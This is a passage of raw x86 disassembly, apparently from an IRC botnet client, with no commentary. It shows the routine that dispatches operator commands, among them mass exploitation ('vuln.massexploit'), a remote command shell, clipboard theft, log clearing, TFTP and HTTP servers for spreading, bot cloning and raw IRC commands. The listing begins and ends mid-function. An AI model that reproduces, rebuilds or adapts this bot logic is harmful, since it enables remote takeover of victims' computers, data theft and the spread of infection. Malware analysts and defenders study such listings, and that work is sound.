push dword ptr [ebp+10h]
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A8C9
mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_40A8C9: ; CODE XREF: .nsp0:0040A8BEj
push dword ptr [ebp-84h]
push offset dword_42FBF4
jmp loc_40F959
; ---------------------------------------------------------------------------
loc_40A8D9: ; CODE XREF: .nsp0:0040A884j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset dword_42FBC0
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push eax
call sub_408E17
push dword ptr [ebp-90h]
push offset aPart ; "PART"
call sub_412310
add esp, 18h
test eax, eax
jnz loc_40A7B4
lea eax, [ebp-2C8h]
push eax
mov eax, [ebp-94h]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40A6F6
; ---------------------------------------------------------------------------
loc_40A93A: ; CODE XREF: .nsp0:0040A8A6j
push dword ptr [ebp-90h]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_412310
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40A98E
push dword ptr [ebp-90h]
push edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40A98E
push dword ptr [ebp-90h]
push offset a332 ; "332"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40F7D2
cmp dword_425B64, ebx
jz loc_40F7D2
loc_40A98E: ; CODE XREF: .nsp0:0040A954j
; .nsp0:0040A966j
push dword ptr [ebp-90h]
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40AA94
push dword ptr [ebp-90h]
push edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40AA94
mov eax, [ebp-88h]
inc dword ptr [ebp-84h]
push 4
mov [ebp-8Ch], eax
pop esi
mov [ebp-0ACh], esi
loc_40A9D5: ; CODE XREF: .nsp0:0040AB50j
; .nsp0:0040ABD6j ...
shl esi, 2
mov ecx, [ebp+esi-94h]
lea eax, [ebp+esi-94h]
lea edi, [ecx+1]
mov [eax], edi
mov al, [ecx]
cmp al, byte_425B6C
mov [ebp+14h], edi
jnz loc_40A7B4
push edi
push offset aNewshit ; "newshit"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F7DA
push edi
push offset dword_42FBA0
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F7DA
cmp [ebp-0A8h], ebx
jnz short loc_40AA48
push dword ptr [ebp-90h]
push offset a332 ; "332"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40F7D2
loc_40AA48: ; CODE XREF: .nsp0:0040AA2Cj
cmp [ebp+30h], ebx
jnz loc_40F7D2
cmp dword_428178, ebx
mov [ebp+10h], ebx
jle loc_40AD74
mov dword ptr [ebp+28h], offset dword_437ED8
loc_40AA67: ; CODE XREF: .nsp0:0040AA8Dj
push edi
push dword ptr [ebp+28h]
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40AC06
inc dword ptr [ebp+10h]
add dword ptr [ebp+28h], 0B8h
mov eax, [ebp+10h]
cmp eax, dword_428178
jl short loc_40AA67
jmp loc_40AD74
; ---------------------------------------------------------------------------
loc_40AA94: ; CODE XREF: .nsp0:0040A99Ej
; .nsp0:0040A9B4j
push dword ptr [ebp-90h]
push edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40AAAD
mov dword ptr [ebp-4], 1
loc_40AAAD: ; CODE XREF: .nsp0:0040AAA4j
cmp [ebp-8Ch], ebx
jz loc_40A7B4
push (offset loc_420927+1)
push dword ptr [ebp-8Ch]
call sub_4124C0
pop ecx
test eax, eax
pop ecx
jz short loc_40AAD4
cmp [ebp-4], ebx
jz short loc_40AAE0
loc_40AAD4: ; CODE XREF: .nsp0:0040AACDj
lea eax, [ebp-0C4h]
mov [ebp-8Ch], eax
loc_40AAE0: ; CODE XREF: .nsp0:0040AAD2j
cmp [ebp-88h], ebx
jz loc_40A7B4
inc dword ptr [ebp-88h]
jz short loc_40AB2C
cmp [ebp+18h], ebx
jz short loc_40AB2C
lea eax, [ebp-564h]
push eax
call sub_4126F0
push eax
lea eax, [ebp-564h]
push dword ptr [ebp-88h]
push eax
call sub_4138A0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp-0ACh], esi
jmp short loc_40AB32
; ---------------------------------------------------------------------------
loc_40AB2C: ; CODE XREF: .nsp0:0040AAF2j
; .nsp0:0040AAF7j
mov esi, [ebp-0ACh]
loc_40AB32: ; CODE XREF: .nsp0:0040AB2Aj
mov edi, [ebp+esi*4-94h]
cmp edi, ebx
jz loc_40A7B4
push edi
push offset dword_42FB94
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40A9D5
mov ecx, [ebp-8Ch]
cmp byte ptr [ecx], 23h
jz short loc_40ABC7
mov eax, dword_4620CC
mov eax, off_425C20[eax*4]
cmp [eax], bl
jz short loc_40ABC7
push eax
push ecx
push offset dword_42FB78
push dword ptr [ebp+0Ch]
call sub_40F9AB
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push eax
call sub_408E17
add esp, 20h
cmp [ebp-0A8h], ebx
jnz loc_40A7B4
push ebx
lea eax, [ebp-2C8h]
push 1
push eax
push offset dword_461FD4
jmp loc_40F07B
; ---------------------------------------------------------------------------
loc_40ABC7: ; CODE XREF: .nsp0:0040AB5Fj
; .nsp0:0040AB6Fj
push edi
push offset dword_42FB54
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40A9D5
mov eax, [ebp+esi*4-90h]
cmp eax, ebx
jz loc_40A9D5
mov ecx, [ebp-8Ch]
cmp byte ptr [ecx], 23h
jz loc_40A9D5
push eax
push ecx
push offset dword_42FB3C
jmp loc_40A6F6
; ---------------------------------------------------------------------------
loc_40AC06: ; CODE XREF: .nsp0:0040AA74j
push offset asc_42FCC8 ; " :"
push dword ptr [ebp+8]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40A7B4
mov edi, [ebp+10h]
mov cl, byte_425B6C
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_425B6C
mov [eax+3], cl
lea ecx, dword_437EF0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_413710
lea eax, [ebp+esi-54h]
add esp, 0Ch
mov dword ptr [ebp+10h], 0Fh
mov [ebp+28h], eax
loc_40AC5E: ; CODE XREF: .nsp0:0040AD06j
push dword ptr [ebp+10h]
lea eax, [ebp-0A0h]
push offset aD_1 ; "$%d-"
push eax
call sub_411EEE
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4124C0
add esp, 14h
test eax, eax
jz short loc_40ACCA
mov eax, [ebp+28h]
cmp [eax], ebx
jz short loc_40ACCA
lea eax, dword_437ED8[edi]
push eax
call sub_4126F0
add [ebp-0Ch], eax
pop ecx
jz short loc_40ACFC
mov eax, [ebp+28h]
push dword ptr [eax-4]
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40ACFC
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_40787E
add esp, 0Ch
jmp short loc_40ACFC
; ---------------------------------------------------------------------------
loc_40ACCA: ; CODE XREF: .nsp0:0040AC86j
; .nsp0:0040AC8Dj
mov eax, [ebp+28h]
cmp [eax], ebx
jnz short loc_40ACFC
lea eax, [ebp-0A0h]
push 2
push eax
lea eax, [ebp-14h]
push eax
call sub_413710
lea eax, [ebp-14h]
mov [ebp-12h], bl
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_40787E
add esp, 18h
loc_40ACFC: ; CODE XREF: .nsp0:0040AC9Fj
; .nsp0:0040ACB3j ...
dec dword ptr [ebp+10h]
sub dword ptr [ebp+28h], 4
cmp [ebp+10h], ebx
jg loc_40AC5E
lea eax, [ebp+esi-54h]
mov dword ptr [ebp+10h], 10h
mov edi, eax
loc_40AD19: ; CODE XREF: .nsp0:0040AD65j
push dword ptr [ebp+10h]
lea eax, [ebp-0A0h]
push offset aD_0 ; "$%d"
push eax
call sub_411EEE
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4124C0
add esp, 14h
test eax, eax
jz short loc_40AD5C
mov eax, [edi]
cmp eax, ebx
jz short loc_40AD5C
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_40787E
add esp, 0Ch
loc_40AD5C: ; CODE XREF: .nsp0:0040AD41j
; .nsp0:0040AD47j
dec dword ptr [ebp+10h]
sub edi, 4
cmp [ebp+10h], ebx
jg short loc_40AD19
mov edi, [ebp+14h]
mov dword ptr [ebp-0C8h], 1
loc_40AD74: ; CODE XREF: .nsp0:0040AA5Aj
; .nsp0:0040AA8Fj
mov al, [edi]
cmp al, byte_425B6C
jz short loc_40AD8A
cmp [ebp-0C8h], ebx
jz loc_40AF6F
loc_40AD8A: ; CODE XREF: .nsp0:0040AD7Cj
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe_0 ; "$me"
push edi
call sub_40787E
lea eax, [ebp-0C4h]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_40787E
push dword ptr [ebp-8Ch]
push offset aChan ; "$chan"
push edi
call sub_40787E
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_4110D8
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_40787E
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_2 ; "$server"
push edi
call sub_40787E
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_4124C0
add esp, 14h
loc_40ADFC: ; CODE XREF: .nsp0:0040AEE8j
test eax, eax
jz loc_40AEED
push edi
push dword ptr [ebp+8]
call sub_4124C0
mov [ebp+18h], eax
add eax, 5
push 4
push eax
lea eax, [ebp-0A0h]
push eax
call sub_413710
lea eax, [ebp-0A0h]
push offset asc_42FAFC ; ")"
push eax
call sub_413668
add esp, 1Ch
cmp byte ptr [ebp-0A0h], 30h
jl short loc_40AE48
cmp byte ptr [ebp-0A0h], 39h
jle short loc_40AE5E
loc_40AE48: ; CODE XREF: .nsp0:0040AE3Dj
push 3
lea eax, [ebp-0A0h]
push offset a63 ; "63"
push eax
call sub_413710
add esp, 0Ch
loc_40AE5E: ; CODE XREF: .nsp0:0040AE46j
lea eax, [ebp-0A0h]
push eax
call sub_41245F
test eax, eax
pop ecx
jle short loc_40AE81
lea eax, [ebp-0A0h]
push eax
call sub_41245F
pop ecx
mov [ebp-14h], al
jmp short loc_40AE92
; ---------------------------------------------------------------------------
loc_40AE81: ; CODE XREF: .nsp0:0040AE6Dj
call sub_411F4A
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-14h], dl
loc_40AE92: ; CODE XREF: .nsp0:0040AE7Fj
lea eax, [ebp-0A0h]
mov [ebp-13h], bl
push eax
call sub_4126F0
mov [ebp+10h], eax
push 0Ch
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_411F70
mov eax, [ebp+10h]
add eax, 6
push eax
lea eax, [ebp-0A0h]
push dword ptr [ebp+18h]
push eax
call sub_413710
lea eax, [ebp-14h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_40787E
push edi
push dword ptr [ebp+8]
call sub_4124C0
add esp, 30h
jmp loc_40ADFC
; ---------------------------------------------------------------------------
loc_40AEED: ; CODE XREF: .nsp0:0040ADFEj
mov edi, 1FFh
lea eax, [ebp-0F9Ch]
push edi
push dword ptr [ebp+8]
push eax
call sub_413710
lea eax, [ebp-0F9Ch]
push edi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_413710
lea eax, [ebp-119Ch]
push offset asc_421F4C ; " "
push eax
call sub_413668
add esp, 20h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp+18h], 1Fh
loc_40AF3D: ; CODE XREF: .nsp0:0040AF52j
push offset asc_421F4C ; " "
push ebx
call sub_413668
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp+18h]
pop ecx
jnz short loc_40AF3D
mov ecx, [ebp+esi-94h]
lea eax, [ebp+esi-94h]
cmp ecx, ebx
jz loc_40A7B4
add ecx, 3
mov [eax], ecx
loc_40AF6F: ; CODE XREF: .nsp0:0040AD84j
mov edi, [ebp+esi-94h]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+18h], edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F785
push edi
push offset aEnz_rn ; "enz.rn"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F785
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F763
push edi
push offset aEnz_d ; "enz.d"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F763
push edi
push offset aEnz_logout ; "enz.logout"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F69A
push edi
push offset aEnz_lo ; "enz.lo"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F69A
push edi
push offset aEnz_version ; "enz.version"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F67C
push edi
push offset aEnz_ver ; "enz.ver"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F67C
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F57E
push edi
push offset aLd_on ; "ld.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F57E
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F57E
push edi
push offset aLd_off ; "ld.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F57E
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B09E
push dword ptr [ebp+esi-90h]
push 6
push offset aServer ; "Server"
push offset dword_42FA50
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B09E: ; CODE XREF: .nsp0:0040B084j
push edi
push offset dword_42FA40
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B0C7
push dword ptr [ebp+esi-90h]
push 3
push offset aServer ; "Server"
push offset dword_42FA34
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B0C7: ; CODE XREF: .nsp0:0040B0ADj
push edi
push offset dword_42FA2C
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B0F0
push dword ptr [ebp+esi-90h]
push 1Ch
push offset dword_42FA20
push offset dword_42FA14
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B0F0: ; CODE XREF: .nsp0:0040B0D6j
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B119
push dword ptr [ebp+esi-90h]
push 10h
push offset dword_42F9F0
push offset dword_42F9E0
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B119: ; CODE XREF: .nsp0:0040B0FFj
push edi
push offset dword_42F9D4
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B142
push dword ptr [ebp+esi-90h]
push 0Ah
push offset dword_42F9C8
push offset dword_42F9BC
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B142: ; CODE XREF: .nsp0:0040B128j
push edi
push offset dword_42F9AC
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B16B
push dword ptr [ebp+esi-90h]
push 0Bh
push offset dword_42F9A0
push offset dword_42F994
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B16B: ; CODE XREF: .nsp0:0040B151j
push edi
push offset dword_42F984
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B194
push dword ptr [ebp+esi-90h]
push 0Fh
push offset dword_42F978
push offset dword_42F96C
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B194: ; CODE XREF: .nsp0:0040B17Aj
push edi
push offset dword_42F95C
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B1BD
push dword ptr [ebp+esi-90h]
push 0Eh
push offset dword_42F950
push offset dword_42F944
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B1BD: ; CODE XREF: .nsp0:0040B1A3j
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B1E6
push dword ptr [ebp+esi-90h]
push 4
push offset aServer ; "Server"
push offset dword_42F928
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B1E6: ; CODE XREF: .nsp0:0040B1CCj
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F54F
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F54F
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F53A
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F53A
push edi
push offset aClone_off ; "clone.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B263
push dword ptr [ebp+esi-90h]
push 17h
push offset aClone ; "Clone"
push offset dword_42F8C8
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B263: ; CODE XREF: .nsp0:0040B249j
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B28C
push dword ptr [ebp+esi-90h]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_42F8A0
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B28C: ; CODE XREF: .nsp0:0040B272j
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B2B5
push dword ptr [ebp+esi-90h]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B2B5: ; CODE XREF: .nsp0:0040B29Bj
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F524
push edi
push offset aVuln_st ; "vuln.st"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F524
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F503
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F503
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F4E1
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F4E1
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F499
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F499
push edi
push offset aEnz_status ; "enz.status"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F45B
push edi
push offset aEnz_s ; "enz.s"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F45B
push edi
push offset aEnz_id ; "enz.id"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F424
push edi
push offset aEnz_i ; "enz.i"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F424
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B403
call sub_407CC7
test eax, eax
mov eax, offset dword_42F7C4
jnz short loc_40B3D5
mov eax, offset dword_42F78C
loc_40B3D5: ; CODE XREF: .nsp0:0040B3CEj
push eax
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 1Ch
jmp loc_40F75B
; ---------------------------------------------------------------------------
loc_40B403: ; CODE XREF: .nsp0:0040B3C0j
push edi
push offset aThreads_list ; "threads.list"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F333
push edi
push offset aThreads_l ; "threads.l"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F333
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F313
push edi
push offset aEnz_al ; "enz.al"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F313
push edi
push offset aEnz_log ; "enz.log"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F223
push edi
push offset aEnz_lg ; "enz.lg"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F223
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F207
push edi
push offset aUtil_clg ; "util.clg"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F207
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F1D0
push edi
push offset aBox_ni ; "box.ni"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F1D0
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F1A5
push edi
push offset aSi ; "si"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F1A5
push edi
push offset aEnz_beg0ne ; "enz.beg0ne`"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F16B
push edi
push offset aR0i0m ; "r0i0m`"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F16B
push edi
push offset aBox_procs ; "box.procs"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F057
push edi
push offset aBox_ps ; "box.ps"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F057
push edi
push offset aBox_uptime ; "box.uptime"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EFD3
push edi
push offset aBox_up ; "box.up"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EFD3
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EFB6
push edi
push offset aBox_drv ; "box.drv"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EFB6
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EF9D
push edi
push offset aBox_dll ; "box.dll"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EF9D
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EF56
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EF56
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B624
push dword ptr [ebp+esi-90h]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40F562
; ---------------------------------------------------------------------------
loc_40B624: ; CODE XREF: .nsp0:0040B60Aj
push edi
push offset aEnz_who ; "enz.who"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40B6B1
cmp [ebp-8], ebx
jnz short loc_40B654
push ebx
push dword ptr [ebp-4]
push offset aLoginList ; "-[Login List]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40B654: ; CODE XREF: .nsp0:0040B638j
mov edi, [ebp+20h]
xor esi, esi
loc_40B659: ; CODE XREF: .nsp0:0040B69Fj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40B665
mov eax, offset aEmpty ; "<Empty>"
loc_40B665: ; CODE XREF: .nsp0:0040B65Ej
push eax
push esi
lea eax, [ebp-2C8h]
push offset aD_S ; "%d. %s"
push eax
call sub_411EEE
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40B659
push offset dword_42F604
loc_40B6A6: ; CODE XREF: .nsp0:0040F41Fj
call sub_408E17
pop ecx
jmp loc_40F7D2
; ---------------------------------------------------------------------------
loc_40B6B1: ; CODE XREF: .nsp0:0040B633j
push edi
push offset aBox_getclip ; "box.getclip"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EF15
push edi
push offset aBox_gc ; "box.gc"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EF15
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EEEA
push edi
push offset aUtil_farp ; "util.farp"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EEEA
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EEC6
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EEC6
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EE89
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EE89
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40ECEF
push edi
push offset aServer_web_on ; "server.web.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40ECEF
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EBA3
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40EBA3
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E8A4
push edi
push offset aVall ; "vall"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E8A4
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz loc_40A7B4
push dword ptr [ebp+18h]
push offset aEnz_nick ; "enz.nick"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E88B
push dword ptr [ebp+18h]
push offset aEnz_n ; "enz.n"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E88B
push dword ptr [ebp+18h]
push offset aEnz_join ; "enz.join"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E86B
push dword ptr [ebp+18h]
push offset aEnz_j ; "enz.j"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E86B
push dword ptr [ebp+18h]
push offset aEnz_part ; "enz.part"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E852
push dword ptr [ebp+18h]
push offset aEnz_pt ; "enz.pt"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E852
push dword ptr [ebp+18h]
push offset aEnz_raw ; "enz.raw"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E81B
push dword ptr [ebp+18h]
push offset aEnz_r ; "enz.r"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E81B
push dword ptr [ebp+18h]
push offset aThreads_kill ; "threads.kill"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E758
push dword ptr [ebp+18h]
push offset aThreads_k ; "threads.k"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E758
push dword ptr [ebp+18h]
push offset aClone_quit ; "clone.quit"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E6AD
push dword ptr [ebp+18h]
push offset aClone_q ; "clone.q"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E6AD
push dword ptr [ebp+18h]
push offset aClone_rndnick ; "clone.rndnick"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E662
push dword ptr [ebp+18h]
push offset aClone_rn ; "clone.rn"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E662
push dword ptr [ebp+18h]
push offset aEnz_prefix ; "enz.prefix"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E64D
push dword ptr [ebp+18h]
push offset aEnz_pr ; "enz.pr"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E64D
push dword ptr [ebp+18h]
push offset aBox_open ; "box.open"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E623
push dword ptr [ebp+18h]
push offset aBox_o ; "box.o"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E623
push dword ptr [ebp+18h]
push offset aEnz_setserve ; "enz.setserve"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E5FE
push dword ptr [ebp+18h]
push offset aEnz_se ; "enz.se"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E5FE
push dword ptr [ebp+18h]
push offset aEnz_dns ; "enz.dns"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E56C
push dword ptr [ebp+18h]
